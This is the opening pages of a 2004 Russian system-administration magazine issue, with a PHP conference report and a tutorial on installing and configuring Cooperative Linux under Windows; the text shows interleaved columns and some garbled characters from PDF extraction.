Вы находитесь на странице: 1из 98

№10(23) октябрь 2004

подписной индекс 81655


www.samag.ru

Знакомство с Cooperative Linux


Идеальный карманный компьютер
для системного администратора
Bluetooth + Linux
Настройка squid
для использования авторизации
из домена Windows 2000
Установка и настройка W2K Server
Четырехузловой кластер
с балансировкой нагрузки
без внешнего массива данных
PostgreSQL: функции и триггеры
Внутренний веб-сервер
№10(23) октябрь 2004

STAT – совсем другая IDS


Поиск троянов вручную
оглавление

РЕПОРТАЖ PostgreSQL: функции и триггеры


Сергей Супрунов
Итоги III международной конференции amsand@rambler.ru 42
«Современные технологии эффективной
разработки веб-приложений
с использованием PHP» Внутренний веб-сервер
Дмитрий Горяинов Сергей Супрунов
dg@webclub.ru 4 amsand@rambler.ru 48

АДМИНИСТРИРОВАНИЕ СЕТИ

Знакомство с Cooperative Linux На пути повышения надёжности


и скорости: Linux bonding
Михаил Платов
platov@cs.vsu.ru 6 Павел Закляков
amdk7@mail.ru 54
OpenGroupware.org,
или Последний кирпич в стене STAT – совсем другая IDS
Сергей Яремчук Сергей Яремчук
grinder@ua.fm 12 grinder@ua.fm 60

Идеальный карманный компьютер Hakin9 Live


для системного администратора
Часть 1 Сергей Яремчук
grinder@ua.fm 66
Андрей Маркелов
andrew@markelov.net 17
Поиск троянов вручную
Bluetooth + Linux, или Синий зуб Денис Батранков
на службе системного администратора denis@gov.ru 68
Андрей Бешков
tigrisha@sysadmins.ru 20 ОБРАЗОВАНИЕ

Настройка Squid для использования Восстановление данных на NTFS-разделах


авторизации из домена Windows 2000 Часть 2
Рашид Ачилов Крис Касперски
shelton@granch.ru 30 kk@sendmail.ru 80

Четырехузловой кластер Установка и настройка W2K Server


с балансировкой нагрузки
без внешнего массива данных Роман Марков
stepan-razin@newmail.ru 88
Геннадий Дмитриев
stranger03@mail.ru 36
BUGTRAQ 41, 59, 78

№10(23), октябрь 2004 1


репортаж

ИТОГИ ТРЕТЬЕЙ МЕЖДУНАРОДНОЙ КОНФЕРЕНЦИИ


«СОВРЕМЕННЫЕ ТЕХНОЛОГИИ ЭФФЕКТИВНОЙ РАЗРАБОТКИ
ВЕБ-ПРИЛОЖЕНИЙ С ИСПОЛЬЗОВАНИЕМ PHP»
23-24 сентября в Москве, в помещении Дворца культуры действия с платежными системами и конкретные приме-
МАИ, прошла третья международная конференция «Совре- ры. В рамках доклада были рассмотрены как западные пла-
менные технологии эффективной разработки веб-приложе- тежные системы, так и их аналоги в России и на Украине.
ний с использованием PHP». Конференция была организо- Не остался в стороне и вопрос выбора того или иного ре-
вана сообществом веб-разработчиков PHPClub (http://php шения с точки зрения доступности, возможности проведе-
club.ru) и интернет-агентством WebProfy (http://webprofy.ru). ния платежа и фактора доверия со стороны конечного по-
PHP представляет собой свободно распространяемую сетителя веб-сайта.
среду программирования с открытым API и возможностя- Приступая к разработке системы с возможностью осу-
ми модульного расширения, изначально созданную для об- ществления веб-платежей, не следует забывать о том, что
работки HTML-форм и создания веб-страниц. проведение банковских операций между банками разных
Вместе с тем в основе технологии PHP лежит ядро (или стран может оказаться более сложным, чем посещение веб-
движок), разрабатываемое и поддерживаемое компанией сайта. В этом смысле виртуальные деньги таких систем,
Zend (http://www.zend.com). как WebMoney, остаются пока более доступным средством
Эти две особенности делают ситуацию с PHP довольно проведения платежей в Интернете. Кроме того, фактор до-
уникальной, развитие технологии представляет собой совме- верия случайного посетителя к вашему веб-сайту не на-
стное творчество сообщества независимых разработчиков столько высок, чтобы однозначно предлагать ему ввести
и профессиональной целенаправленной работы программи- реквизиты кредитной карты. Современные системы элект-
стов Zend по совершенствованию и улучшению базового ронных платежей предоставляют веб-разработчикам не
движка. только возможность прямого обращения к шлюзу, но и воз-
Долгое время за PHP была закреплена слава языка веб- можность переброски клиента на специальный интерфейс
сценариев для системных администраторов. Изначально за- (Merchant-панель) на стороне сервера самой платежной си-
думанный как простой инструмент для обработки HTML- стемы. В этом случае плательщик однозначно видит, что
форм и создания веб-страниц язык представляет собой данные идут только платежной системе. Фактор доверия
весьма дружественную среду разработки для Web. PHP – при такой схеме платежей выше.
язык-полиглот. Он дает возможность общаться с большим Вместе с тем на конференции нельзя было обойти сто-
количеством баз данных, упрощает анализ данных браузе- роной и традиционные аспекты веб-программирования. Су-
ра, может выполнять HTTP-запросы и обладает множеством ществует целый класс задач, в той или иной форме возни-
встроенных средств решения практических задач. кающих практически перед любым веб-разработчиком. Док-
Прошедшая конференция еще раз подтвердила реноме лад Алексея Рыбака по теме «Поиск на сайте средствами
PHP как технологии, своевременно и гибко реагирующей на php, mysql и ispell: выбор между возможностями, качеством
проблемы сегодняшнего дня. Совместный доклад Алексан- и производительностью» был одной из изюминок конфе-
дра Календарева (независимый разработчик, кандидат эко- ренции, интерес к которой со стороны аудитории можно
номических наук, Россия) и Вадима Крючкова (системный было легко предсказать заранее.
администратор, веб-программист компании InForce, Москва, Участникам конференции был представлен каркас по-
Россия) «Интеграция информационной системы предприя- исковой системы с использованием словарных индексов,
тия (на базе 1С) c веб-сайтом и PHP-приложениями» касал- хранением и поиском объектов морфологии, правил сло-
ся очень актуальной области современных веб-систем – вза- вообразования и поиском словоформ. В качестве сферы
имодействия веб-приложений и прикладного программного применения рассматривались малые и средние проекты.
обеспечения. Готовое решение, поставляемое фирмой 1С в Алексей Рыбак сделал упор на вопросах подключения вне-
стандартной комплектации, ориентировано на использова- шних словарей к базе данных, рассмотрел стратегии поис-
ние и интеграцию учетной системы с веб-сервером MS IIS ка по оригинальной и нормализованной форме, способы
компании Microsoft. Докладчики привели альтернативное повышения производительности такой системы.
решение, рассмотрев возможности 1С для организации об- В докладе были затронуты некоторые наиболее попу-
мена данными, вопросы отправки, получения и защиты дан- лярные бесплатные (условно-бесплатные) решения, такие
ных в системе, где веб-сайт (витрина) и учетная система пред- как MnoGoSearch (http://mnogosearch.ru), Ht://Dig (http://
ставляют собой независимые приложения. htdig.org), RiSearch (http://www.risearch.org) и промышлен-
Аспектам коммерческого применения веб-проектов был ные решения, такие как Яndex.Server (http://company.
посвящен доклад руководителя проектов компании yandex.ru/technology/products/yandex-server.xml) и RCO от
RoyalHolding Евгения Бондарева (Киев, Украина): «Платеж- «Гарант-Парк Интернет» (http://www.rco.ru).
ные системы, взгляд изнутри». Были затронуты вопросы Дмитрий Котеров, главный программист Host-ing.Ru (Мос-
виртуальных и реальных денег, типовые способы взаимо- ква, Россия) и автор книги «Самоучитель PHP4», затронул

4
репортаж
еще одну актуальную тему разработки веб-приложений – бе- альной поддержке этого способа программирования в рам-
зопасность и защиту от злоумышленников. В докладе «Воп- ках интерпретируемого языка – это действительно нечто!
росы безопасности веб-программирования» были рассмот- Каковы же перспективы использования новой версии PHP?
рены пути противодействия традиционной уязвимости PHP- С точки зрения массовой веб-разработки, та или иная техно-
приложений к SQL-Injection (взлом базы данных за счет из- логия или новая версия становятся реальностью лишь с ее
начальной слабости в архитектуре API для работы с MySQL). внедрением и поддержкой со стороны провайдеров хостин-
В качестве решения был предложен метод placeholder, со- говых услуг. По заявлению некоторых российских провай-
здающий дополнительный «защитный слой» между зап- деров, выступивших спонсорами конференции, хостинг с ис-
росами и API. Подобную идеологию поддерживает и новое пользованием PHP5 уже сейчас становится реальностью.
расширение PHP5 mysqli, предназначенное для работы с В рамках конференции прошли два мастер-класса. Пер-
MySQL версии 4 и старше. Дмитрий Котеров затронул так- вый был посвящен особенностям работы с сервером баз дан-
же темы кражи идентификаторов сеанса, проблему неяв- ных PostgreSQL (Алексей Борзов, независимый разработчик,
ных включений файлов и возможных путей противодей- Москва, Россия), второй – использованию идеологии и ме-
ствия DoS-атакам (антифлудинг, ограничение ресурсов). тодик экстремального программирования в разработке веб-
Технология PHP крайне динамична и не стоит на месте. проектов (Александр Смирнов, основатель клуба разработ-
Открытость и возможности расширения предоставляют ко- чиков PHP – PHPClub.ru, Москва, Россия). Увы, временные
нечному разработчику приложений механизм для создания рамки вынудили организаторов конференции проводить
и встраивания в систему собственных модулей. Этому был мастер-классы параллельно некоторым докладам.
посвящен доклад Антона Довгаля «Разработка модулей Как уже отмечалось, организаторами конференции вы-
(расширений) PHP на примере memcache». Модуль ступили сообщество веб-разработчиков PHPClub и интер-
memcache предоставляет разработчику механизмы кэши- нет-агентство WebProfy. Подобный союз независимой об-
рования запросов и данных и используется в таком попу- щественной организации и коммерческой компании доволь-
лярном сетевом сервисе, ставшим целым явлением, как но символичен для PHP. Уровень проведения конференции
«Живой Журнал» (http://www.livejournal.com). оставил очень благоприятное впечатление. Организаторам
Язык PHP получил очень сильную поддержку и обрел удалось обеспечить участников конференции не только пе-
профессиональное ядро благодаря усилиям и участию в его чатными материалами и питанием, но и такой важной «ме-
развитии компании Zend. Сейчас корпорация Zend готова лочью», как возможность в любой момент выпить чашку
совершить еще одну маленькую революцию – внедрить но- чая или кофе.
вую версию ядра (Zend Engine 2) и, соответственно, 5-ую Главным успехом конференции можно назвать привле-
версию языка PHP, реально ориентированную на техноло- чение к участию в ней профессиональных веб-разработчи-
гию объектно-ориентированного программирования. Новым ков, разделенных географическим положением, работаю-
особенностям и возможностям, предлагаемым разработчи- щих и проживающих в различных странах СНГ и Прибал-
ками ядра PHP своим пользователям, был посвящен док- тики. Живое общение в кулуарах, возникающее вокруг кого-
лад Ивана Устюжанина (системный администратор ежене- то из докладчиков или стихийно, само по себе не прекра-
дельника «Московский комсомолец» в Курске, Россия) и щалось ни на минуту и было весьма интересно и ценно.
Константина Барышникова (системный администратор и Вне всякого сомнения усилия организаторов заслуживают
программист, ведущий ресурса http://www.php5.ru) «Нет одобрения и благодарности как за подбор и освещение
авралу! Плавный переход на PHP5». В применении ООП поднятых на конференции вопросов, так и за предостав-
сейчас уже нет ничего революционного, эта идеология дав- ленную участникам возможность неформального обмена
но стала привычной и естественной в современных языках мнениями и идеями в профессиональной среде.
программирования. Но предлагаемый переход от предос-
тавления средств написания программ в стиле ООП к ре- Дмитрий Горяинов

Ôîòî ïðåäîñòàâëåíî îðãàíèçàòîðàìè êîíôåðåíöèè

№10(23), октябрь 2004 5


администрирование

ЗНАКОМСТВО С COOPERATIVE LINUX

МИХАИЛ ПЛАТОВ
Исторический экскурс тью (http://www.colinux.org/?section=status). Последняя дос-
25-27 января 2004 года новостные ленты большинства ин- тупная на момент написания статьи stable-версия coLinux –
формационных изданий, так или иначе посвященных ком- 0.6.1, именно о ней и пойдет речь в данной статье. Но преж-
пьютерной тематике, пестрили такими сообщениями: «Linux де чем приступить к рассмотрению самого coLinux, несколь-
теперь можно запускать в Windows», «Linux и Windows без ко слов о том, что это такое и для чего это нужно.
перезагрузок», «Революционное изобретение 21-летнего
гения» и т. д. Мир узнал о новом проекте – Cooperative Linux Зачем нужен coLinux
(сокращенно – coLinux). В анонсах сообщалось о том, что Условно можно выделить несколько групп пользователей,
теперь появился еще один способ «подружить» две самые для которых coLinux представляет практический интерес.
популярные операционные системы – Linux и Windows. Для В первую очередь это разработчики, принимающие учас-
достижения поставленной цели разработчики использова- тие в создании кроссплатформенных приложений, систем-
ли довольно интересное решение – запуск Linux-ядра как ные администраторы, интересующиеся возможностями
отдельного процесса Windows. В качестве иллюстрации ра- Linux-систем, преподаватели учебных заведений, и, конеч-
боты системы показывались скриншоты японской версии но, простые пользователи, желающие познакомиться с Linux
(спасибо японским спонсорам) широко известного дистри- поближе.
бутива Knoppix: Другими словами, coLinux в первую очередь интересен
тем людям, которые в своей повседневной работе одновре-
менно используют две операционные системы – Linux и
Windows. Минуточку, но ведь эта проблема не нова! Ведь
есть уже vmWare, VirtualPC, bochs, xen, wine, cygwin и дру-
гие проекты, решающие проблему организации одновре-
менной работы в нескольких ОС. Чем же примечателен
coLinux? Что выделяет его среди конкурентов? Для того
чтобы ответить на эти вопросы, давайте более пристально
посмотрим на то, как сейчас решается проблема организа-
ции работы в нескольких ОС:
! Виртуальные машины. Типичные представители –
vmWare, VirtualPC, bochs, xen. В этом случае вторая ОС,
называемая гостевой, запускается в так называемой вир-
туальной машине. У этой машины есть свое «виртуаль-
ное» оборудование, BIOS и, конечно, своя операционная
система. Отличительной особенностью является то, что
Однако радость от этого во многом знаменательного операционная система и ее программы практически и не
события несколько омрачалась тем, что попробовать coLinux догадываются о том, что они работают в виртуальной ма-
в деле реально смогли немногие – проект был доступен шине. Для них все происходит так же, как и при работе
только в виде исходного кода, собрать который было от- на обычном компьютере. Преимущества этого подхода
нюдь не просто. Впрочем, такая ситуация не могла длиться очевидны: подавляющее большинство программ без про-
вечно, и вскоре появилась первая бинарная версия блем будут работать в виртуальной машине без каких-
coLinux. У кого-то она запустилась, у кого-то нет, но рабо- либо изменений в их исходном коде. Платой же за такую
та продолжалась и проект развивался. Постепенно coLinux «универсальность» является скорость, которая, как не
освободился от связей с Microsoft DDK и cygwin, избавил- трудно догадаться, будет ниже, чем при работе этой же
ся от многих ошибок, обзавелся новой функциональнос- системы на реальном оборудовании.

6
администрирование
! Эмуляция на уровне API (wine, cygwin, mingw). Идея это- ! Ethernet-драйверы. Как не трудно догадаться из назва-
го подхода состоит в том, чтобы запустить уже суще- ния, эти драйверы используются для организации взаи-
ствующее Linux/Windows-приложение, эмулируя API «чу- модействия нашей Linux-системы с внешним миром. Так,
жеродной» ОС. Такой подход позволяет добиться боль- с coLinux можно использовать либо виртуальный TAP-
шей производительности (по сравнению с виртуальной драйвер, либо библиотеку WinPCap.
машиной), однако никто не сможет дать гарантий отно- ! Драйверы клавиатуры и консоли используются для орга-
сительно того, как будет (если вообще будет) работать низации взаимодействия с Linux в привычном для мно-
ваше любимое приложение в wine или cygwin. гих пользователей режиме – через консоль.

Теперь осталось определить, к чему же относится coLinux, Итак, судя по приведенной выше классификации, coLinux
для этого давайте более пристально посмотрим на то, как скорее относится к виртуальным машинам, чем к API-эму-
он устроен. ляторам. Ведь фактически он создает некую виртуальную
машину.
CoLinux, взгляд изнутри Кроме того, у coLinux есть и определенные черты, вы-
CoLinux представляет из себя набор нескольких модулей, годно выделяющие его среди возможных конкурентов. Так,
работающих на разных уровнях операционных систем он не эмулирует виртуальную машину в обычном для нас
Windows и Linux. Условно в составе coLinux можно выделить понимании. Он не эмулирует процессор, BIOS, память и
следующие компоненты: драйвер ОС Windows, отвечающий другие устройства.
за предоставление ядру Linux доступа к процессору и памя- При помощи специальных драйверов, работающих на
ти, несколько модифицированное ядро ОС Linux (для того нулевом кольце защиты ОС Windows (ring 0), coLinux дает
чтобы работать с Windows-драйверами coLinux), драйверы возможность ядру Linux работать с имеющимся в Windows
Linux и Windows, отвечающие за организацию взаимодей- оборудованием. Теоретически такой подход должен обес-
ствия Linux с «внешним миром» (Ethernet, console), драйве- печить большее по сравнению с обычными виртуальными
ры блочных устройств для отображения устройств Windows машинами быстродействие. Платой же за это потенциаль-
на блочные устройства coLinux. ное увеличение скорости является отказ от универсаль-
За непосредственный запуск coLinux отвечает специаль- ности. Чтобы linux-ядро стало coLinux-совместимым, к
ная программа – coLinux-daemon. Используя Windows-драй- нему применяется специальный патч, позволяющий рабо-
веры, coLinux-daemon формирует окружение, в котором тать ядру в окружении, создаваемом демоном coLinux (ра-
начинает выполняться ядро ОС Linux. Фактически coLinux- бота с Windows-оборудованием, управление памятью вы-
daemon является аналогом lilo и grub, выступая в coLinux в деляемой демону и т. д.). Таким образом, выполнение в
качестве загрузчика ядра. виртуальной машине coLinux чего-либо отличного от ядра
Linux становится либо затруднительным (для ОС с откры-
тым исходным кодом), либо вообще невозможным (для ОС
с закрытым исходным кодом).

Установка и запуск
Установка coLinux очень проста. Все, что нам нужно, это
загрузить с сайта http://www.colinux.org инсталлятор coLinux
(coLinux-0.6.1.exe) и запустить его.
Давайте более подробно остановимся на задачах, ре- В процессе установки выберем все возможные компо-
шаемых основными компонентами coLinux: ненты:
! Демон coLinux. Один из ключевых компонентов систе-
мы. Фактически это загрузчик, который, объединяя все
остальные компоненты coLinux, создает окружение, в
котором исполняется ядро Linux.
! Драйвер блочных устройств. Главной задачей этого
драйвера является предоставление доступа к устрой-
ствам, имеющимся в ОС Windows, как к блочным. В
coLinux этот драйвер используется для задания отобра-
жения устройств или файлов Windows на блочные уст-
ройства coLinux, которые в дальнейшем могут быть
смонтированы при помощи стандартной утилиты mount.
На данный момент coLinux поддерживает определение
отображений для 32 устройств. Отдельно отметим тот
факт, что отображать можно не только отдельные фай-
лы, содержащие образы linux-файловых систем, но и
реальные разделы жестких дисков. Это позволяет ис-
пользовать coLinux для запуска в Windows уже суще-
ствующих инсталляций Linux-систем. В качестве пути установки выберем «C:\coLinux»:

№10(23), октябрь 2004 7


администрирование
Первый файл представляет собой сжатый образ root-
файловой системы. Для его распаковки можно воспользо-
ваться любым архиватором, понимающим формат bz2, на-
пример, 7zip (http://www.7zip.org). Для простоты распакуем
файл в c:\coLinux\Gentoo-i586-ext3-2g-deluxe.
Второй файл является не чем иным, как конфигураци-
онным файлом coLinux. Синтаксис его достаточно прост. В
стандартном для XML формате в нем определяются следу-
ющие настройки:
! Отображение фалов (или разделов) Windows на блоч-
ные устройства coLinux.
! Путь к файлу ядра Linux.
! Параметры, передаваемые ядру.
! Количество ОЗУ, выделяемого coLinux.
! Настройки сетевого интерфейса.

В принципе здесь можно выбрать любой каталог, одна- Чтобы не «портить» первоначальный файл, скопируем
ко тогда нужно будет учесть это при редактировании кон- его с именем gentoo.xml и внесем в него некоторые изме-
фигурационного файла. нения. Для начала укажем местоположение root-файловой
Далее инсталлятор предложит нам скачать библиотеку системы:
WinPCap, необходимую для организации работы coLinux не-
посредственно с сетевой картой компьютера (bridged-режим). <block_device index="0" path="\DosDevices\c:\coLinux\ ↵
gentoo-i586-ext3-2g-deluxe" enabled="true" />
В следующем диалоге инсталлятора мы можем автома-
тически скачать образ root-файловой системы (Gentoo, Далее подправим настройки сетевого интерфейса. Для
Debian или Fedora Core 1 (скачивается вручную c сайта определенности будем считать, что мы используем вари-
coLinux)). Образы отличаются размером и, соответствен- ант с TAP. Тогда строка конфигурации <network> будет
но, количеством уже установленных пакетов. В принципе иметь следующий вид:
здесь можно выбрать образ на основе любого из вышепе-
речисленных дистрибутивов или использовать раздел от <network index="0" type="tap">
уже установленной ОС Linux, однако для простоты и конк-
ретности изложения будем полагать, что в процессе уста- Кроме того, для нормальной работы нам, скорее все-
новки было принято решение в пользу образа Gentoo-deluxe. го, понадобится swap-раздел. По умолчанию он не созда-
ется инсталлятором, поэтому его придется скачать, рас-
паковать и подключить вручную. Для этого с сайта http://
gniarf.nerim.net/colinux/swap загрузим сжатый образ swap-
файла нужного размера, распакуем его в c:\coLinux\
swap_256Mb и добавим в файл конфигурации следующую
строчку:

<block_device index="1" path="\DosDevices\c:\coLinux\ ↵


swap_256Mb"

Итак, с настройкой демона coLinux мы закончили, и те-


перь можно смело перейти к настройке сетевой части в
Windows.
После установки coLinux в сетевых подключениях у нас
появился еще один сетевой адаптер:

После нажатия кнопки «Install» на вашем компьютере


будут установлены все необходимые драйверы (все, кроме Именно через него у нас и будет работать Linux.
WinPCap, который нужно устанавливать «вручную») и ядро. Для доступа к Интернету воспользуемся стандартным
Кроме того, в папку установки инсталлятором будет загру- (начиная с Windows 2000) механизмом Internet Connection
жен образ выбранной root-файловой системы. Sharing (ICS). (Дополнительную информацию об ICS можно
После окончания установки в папке c:\coLinux появится найти в справке Windows.)
несколько файлов. Нам в первую очередь понадобятся сле- Активизируется он до неприличия просто – открываем
дующие: свойства первого сетевого подключения по сети и ставим
! Gentoo-i586-ext3-2g-deluxe.bz2 «галочки» в разделе «общий доступ подключения к Интер-
! Default.coLinux.xml нету»:

8
администрирование
и, наконец, включим его:

# swapon –a

Если все было сделано правильно, то после команды


# swapon –s на экране мы увидим следующее:
# swapon –s
Filename Type Size Used Priority
/dev/cobd1 partition 262136 0 -1

Установка и обновление программ


Итак, теперь у нас есть установленная и минимально на-
строенная система. Тем не менее, поработав в ней некото-
рое время, начинаешь понимать, что программ, имеющих-
ся в стандартном образе явно не хватает. Так, даже в са-
мом большом доступном для скачивания образе файловой
системы – Gentoo-deluxe – после установки нет таких про-
грамм, как vi, mc, nslookup, telnet, links, tracert и многих дру-
Теперь самое время перейти к запуску системы. Созда- гих. Кроме того, лично мне также захотелось поставить
дим и запустим cmd-файл со следующим содержимым: sshd, samba и apache и нескольких других пакетов, необхо-
димых для моей работы. Благо мучиться долго не пришлось,
colinux-daemon.exe -t nt -c gentoo.xml т.к. для установки и удаления программ в Gentoo Linux есть
Portage – мощная система управления пакетами. Фактичес-
ки она является своеобразной копией системы «портов»,
уже давно существующей во FreeBSD, однако в Gentoo
«порты» FreeBSD называются ebuild’s. Суть их от этого, прав-
да, не меняется. Так же, как и во FreeBSD, они содержат
информацию, необходимую для сборки каждого пакета из
исходных кодов. Установка программ с использованием
Portage производится почти автоматически. Достаточно
выполнить одну команду, и нужный пакет будет скачан,
скомпилирован и установлен на вашем компьютере. Для
иллюстрации работы Portage рассмотрим процесс установ-
Входим в систему как root (без пароля) и первое, что ки пакета mc (Midnight Commander).
делаем... правильно, меняем пароль с помощью програм- Первое, что нам нужно сделать для после установки
мы passwd. По умолчанию Gentoo-образ использует DHCP Gentoo, – это синхронизировать локальный репозиторий
для конфигурации сетевого интерфейса. Так как для орга- Portage с репозиторием, хранимым на сервере. Для этого
низации соединения мы используем ISC, включающий в выполним команду #emerge sync. После ее запуска скрипт
себя DHCP-сервер, то сразу же после загрузки coLinux у emerge загрузит в /usr/portage список всех доступных на
нашей linux-машины уже будет настроен IP-адрес, шлюз по данный момент ebuild-скриптов. Теперь можно приступить
умолчанию и адрес DNS-сервера. Однако если вам вдруг к установке любого из пакетов, имеющегося в Portage, в
понадобится поменять эти настройки, то в Gentoo это де- том числе и mc. Для этого достаточно выполнить команду:
лается путем редактирования следующих конфигурацион-
ных файлов: /etc/conf.d/net и /etc/resolv.conf. #emerge mc
Итак, двигаемся дальше. Проверяем файл /etc/fstab.
Root-файловая система в нем прописана правильно (ука- Система Portage сама загрузит и соберет все необхо-
зывает на /dev/cobd0), а вот swap-файл у нас, скорее всего, димые файлы с автоматическим удовлетворением всех
будет не подключен. Исправим это с помощью пока един- зависимостей от других пакетов:
ственного доступного нам в данный момент редактора nano:

# nano /etc/fstab

Добавим в fstab следующую строку:

/dev/cobd1 swap swap defaults 0 0

Проинициализируем swap-файл:

# mkswap /dev/cobd1

№10(23), октябрь 2004 9


администрирование
После завершения установки мы увидим следующее: # mount /dev/cobd4 /mnt/floppy

>>> app-misc/mc-4.6.0-r8 merged. мы увидим содержимое дискеты в /mnt/floppy. При монти-


>>> Recording app-misc/mc in "world" favorites file...
ровании разделов напрямую нужно иметь в виду, что из
Пакет был успешно установлен, запись об этом была linux раздел будет подключаться таким, какой он есть. По-
добавлена в /var/cache/edb/world. этому ядро должно поддерживать ту файловую систему,
которая имеется на подключаемом разделе (UDF, FAT, NTFS
Подключение дополнительных устройств и т. д.). Кроме того, пока раздел будет смонтирован (или
Время от времени у меня возникала необходимость рабо- открыт) в одной системе, в другой он будет недоступен.
ты с различными устройствами, с которыми я привык рабо-
тать в Windows. И если с некоторыми устройствами (звуко- Запуск в качестве службы
вая плата, видеокарта) работать из coLinux на данный мо- Кому-то может показаться неудобным, что перед работой с
мент нельзя, то с другими (дисковыми) очень даже можно. coLinux нужно предварительно вручную запускать cmd-
Для организации доступа к дисковым устройствам в coLinux файл. Особенно это неприятно в тех случаях, когда в coLinux
используется драйвер блочных устройств. Для этого выполняются какие-либо сетевые сервисы (apache, samba
windows-устройство, которое необходимо подключить в или ftp). В таком случае удобно настроить запуск coLinux
coLinux, сначала в xml-файле отображается на одно из блоч- как одной из служб Windows. После должной настройки,
ных устройств (cobd), а затем монтируется из Linux при по- coLinux будет автоматически запускаться во время старта
мощи утилиты mount. Следует отметить, что при таком под- Windows.
ключении используются не образы файловых систем (как Для регистрации coLinux как службы Windows необхо-
это было для root-файловой системы и swap-файла), а ре- димо выполнить следующую команду:
альные разделы устройств. Для получения списка всех раз-
делов, имеющихся в Windows, а также правильных путей к colinux-daemon –c <ïóòü ê xml-ôàéëó>--install-service ↵
<èìÿ ñëóæáû>
ним можно воспользоваться консольной утилитой dmdiag.exe,
входящей в состав Windows Resource Kit. Запустим эту ути- После выполнения этой команды в системе появится
литу. Для удобства чтения перенаправим ее вывод в файл: служба coLinux с указанным именем.
Для удаления службы достаточно выполнить команду:
Dmdiag.exe >>disk.out
colinux-daemon --remove-service <èìÿ ñëóæáû>
В результате в текущем каталоге появится текстовый
файл disk.out, содержащий полное описание всех устройств Необходимо иметь в виду, что служба устанавливается
хранения, имеющихся на данный момент в распоряжении с типом запуска «Вручную», так что, если вам необходимо,
ОС Windows. С точки зрения применимости к coLinux нас чтобы coLinux работал всегда, измените тип запуска служ-
прежде всего интересуют секции «Drive letter to device name» бы на «Автоматически».
и «\Device\Harddisk». Первая секция описывает отображе- Кроме того, существует удобная утилита для работы с уже
ния физических устройств на буквы ОС Windows. Из этой установленной службой coLinux – coLinux Manager. Скачать
секции мы можем узнать, что буква A: у нас на самом деле ее можно отсюда: http://www.biermana.org/index.php?p=54.
является устройством \Device\Floppy0: Утилита добавляет в панель задач значок coLinux:

A: \Device\Floppy0
С ее помощью можно быстро запускать и останавли-
То есть дописав в наш xml-файл следующую строку: вать службу coLinux, открывать консоль, а также получать
информацию о количестве используемых coLinux систем-
<block_device index="4" path="\Device\Floppy0" ↵ ных ресурсов.
enabled="true" />

мы отобразим дисковод 3.5” на блочное устройство coLinux Выводы


cobd4. Конечно, в целом появление такого продукта, как coLinux,
Если же мы хотим отобразить раздел жесткого диска, не может не радовать. Ведь с его использованием можно
то на помощь нам придет секция \Device\Harddisk. Так, сле- достаточно просто, быстро и бесплатно получить нормаль-
дующая строка отобразит третий раздел второго жесткого но работающую Linux-систему, сохранив при этом возмож-
диска на cobd5: ность работы с привычными Windows-программами. Одна-
ко наряду с многочисленными плюсами (бесплатность, ра-
<block_device index="5" path="\Device\Harddisk1\ ↵ бота напрямую с устройствами Windows, высокая совмес-
Partition2" enabled="true" />
тимость с приложениями и т. д.) есть и некоторые минусы.
Для USB-диска строка конфигурации может быть такой: Так, за все время работы, около двух месяцев, Windows пару
раз порадовала «синим экраном» (чего не наблюдалось в
<block_device index="6" path="\Device\Harddisk3\ ↵ течение как минимум года до установки coLinux). Кроме
DP(1)0-0+a" enabled="true" />
того, огорчила производительность сети (субъективно скла-
Итак, после запуска coLinux и выполнения команды: дывается впечатление, что работает она достаточно мед-

10
администрирование
ленно), а также проблемы работы с некоторыми сетевыми том, что coLinux не является эмулятором виртуальной ма-
приложениями (NFS-сервер). шины, в том же смысле что и vmware. Так, используя доступ-
Если вы захотите запустить в coLinux какое-либо X-при- ную на данный момент версию, нельзя запустить еще одну
ложение, то вам придется дополнительно установить X-сер- копию windows, Netware или FreeBSD. Только Linux только в
вер на Windows-машину (Cygwin-X, Mi-X, Exceed и др.). Так- Windows и не более чем в одном экземпляре! Однако если
же при 100% загрузке процессора наблюдается ощутимое все вышеперечисленные «минусы» не являются для вас кри-
замедление работы во всех виртуальных консолях coLinux. тичными, то можете смело использовать coLinux. В конце
Возникает субъективное ощущение, что многозадачность в концов, этот достаточно молодой продукт показал очень не-
coLinux работает по меньшей мере странно. К тому же если плохие результаты как в производительности, так и в совме-
у вас вдруг возникнет желание запустить несколько копий стимости при запуске Linux-приложений. Кроме того, не сле-
coLinux на одной машине, то у вас, скорее всего, ничего не дует забывать, что coLinux является совершенно бесплат-
получится – более чем в одном экземпляре на данный мо- ным.
мент coLinux работать не может. Также не стоит забывать о

Способы организации взаимодействия


(NAT vs Bridged)
Итак, для Ethernet-связи с внешним миром в coLinux могут
использоваться два драйвера TAP и WinPCap. На основе
этих драйверов можно по-разному организовать взаимо-
действие Linux- и Windows-систем:
! NAT (Network Address Translation). Механизм сетевого
преобразования адресов. При использовании этого ме-
ханизма внутренние компьютеры подключаются к Интер- При использовании этого способа никакая дополнитель-
нету через так называемый NAT-сервер, который пере- ная конфигурация со стороны ОС Windows не требуется,
хватывает все обращения со стороны внутренних машин достаточно просто установить драйвер WinpCap. Со сторо-
и обращается к интернет-ресурсам от своего имени. По- ны coLinux все стандартно – нужно задать IP-адрес (марш-
лучив результаты запроса, он возвращает их тому кли- рутизируемый), шлюз по умолчанию и адрес DNS-сервера.
енту, который отправлял запрос. Реализация NAT-сер- Кроме того, в разделе <network> конфигурационного xml-
вера в Windows XP называется ICS. ICS представляет со- файла необходимо указать следующее:
бой примитивный (читай «ненастраиваемый») DHCP-сер-
вер, распределяющий между клиентами IP-адреса из под- <network index="0" type="bridged" name="Realtek"/>
сети 192.168.0.х/24. Машина, на которой настроен ICS, Здесь, в поле name, указывается подстрока из назва-
выступает для остальных в качестве шлюза. ния сетевого адаптера. Новые настройки сети будут при-
! Bridged. При использовании этого метода «вторая» ОС менены после перезапуска coLinux.
(в нашем случае – linux) получает доступ к внешнему При выборе того или иного способа взаимодействия
соединению, непосредственно используя реальный се- необходимо учитывать следующий момент: при работе с
тевой интерфейс компьютера. В нашем случае для это- сетевым интерфейсом напрямую (без ICS), «гостевой ОС»
го используется специальный драйвер – WinPCap. понадобится дополнительный маршрутизируемый IP-адрес.
Ведь фактически мы имеем схему, при которой на одной
Схематично взаимодействие в режиме NAT с использо- машине используется несколько различных IP-адресов. В
ванием ICS можно представить так: случае же использования ICS нашей машине для связи с
внешним миром достаточно одного маршрутизируемого IP-
адреса, уже имеющегося у компьютера. «Гостевая ОС»
автоматически попадает в сеть из private subspace, а взаи-
модействие организуется с помощью средств ICS.

Основные команды системы Portage

При этом большая часть действий по настройке сети


производится автоматически. Единственное, что нам нуж-
но сделать, это включить ICS в настройках сети и пропи-
сать режим tap в конфигурационном файле coLinux. Все
остальное за нас сделает ICS.
